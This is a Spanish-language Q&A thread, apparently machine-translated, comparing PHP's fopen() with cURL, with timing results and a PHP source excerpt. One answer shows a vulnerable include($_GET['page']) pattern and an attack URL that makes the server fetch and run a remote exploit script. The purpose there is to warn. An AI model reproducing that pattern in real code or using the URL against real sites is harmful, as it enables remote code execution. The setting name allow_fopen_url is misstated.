2009-03-11 16 views
5

Estoy escribiendo un código que necesitará hablar con un servicio web a través de HTTP (s). En el pasado, he usado la biblioteca Curl. Recientemente, noté que simplemente puedo usar fopen() para acceder a una URL remota y parece mucho más simple.

Curl parece ser mucho más configurable, con una gran cantidad de opciones. Más allá de esa configurabilidad, ¿importa qué método se usa? Si es así, ¿cuál es mejor y por qué?

Respuesta

13

fopen() solo abrirá URL remotas si allow_fopen_url está habilitado en php.ini.

Sin embargo, en las versiones anteriores a 5.2.0, esto era muy peligroso porque la función include también descargar y analizar código PHP desde sitios remotos. Un codificador ingenua podría ser fácilmente capturado con un código como:

<?php 
    $page = $_GET['page']; 
    include($page); 
?> 

momento en el que un atacante sólo tiene que pedir http://example.com/script.php?page=http://example.net/my_exploit_script para ejecutar su propio código en el sistema e introducir un exploit. Lamentablemente, el valor predeterminado para allow_fopen_url es 'on'.

Afortunadamente, desde 5.2.0 hay una configuración separada (que debería por defecto en 'off') llamada allow_url_include que impide include de la descarga remota de código.

Personalmente, si tiene la opción de usar Curl, utilícelo en lugar de fopen.

+0

buena respuesta en profundidad +1 – alex

15

Como dijo Alnitak, el uso de CURL no depende de la configuración de PHP. he hecho algunas pruebas de velocidad

file_get_contents 

con mi

function file_get_contents_curl($url) { 
    $ch = curl_init(); 

    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_URL, $url); 

    $data = curl_exec($ch); 
    curl_close($ch); 

    return $data; 
} 

Resultado:

0.263456821442 
0.0626730918884 

La curvatura es 4 veces más rápido :)

+0

Gracias por pruebas de velocidad. Buena respuesta +1 – alex

+0

Justo lo que estaba buscando. +1 – Domenic

5

nota al margen: PHP puede ser configurado para usar curl para http url_wrapper en lugar de usar implementación "propia".

ext/rizo/interface.c:

#ifdef PHP_CURL_URL_WRAPPERS 
# if HAVE_CURL_VERSION_INFO 
    { 
     curl_version_info_data *info = curl_version_info(CURLVERSION_NOW); 
     char **p = (char **)info->protocols; 

     while (*p != NULL) { 
      php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC); 
     } 
    } 
# else 
    php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC); 
# endif 
#endif
Cuestiones relacionadas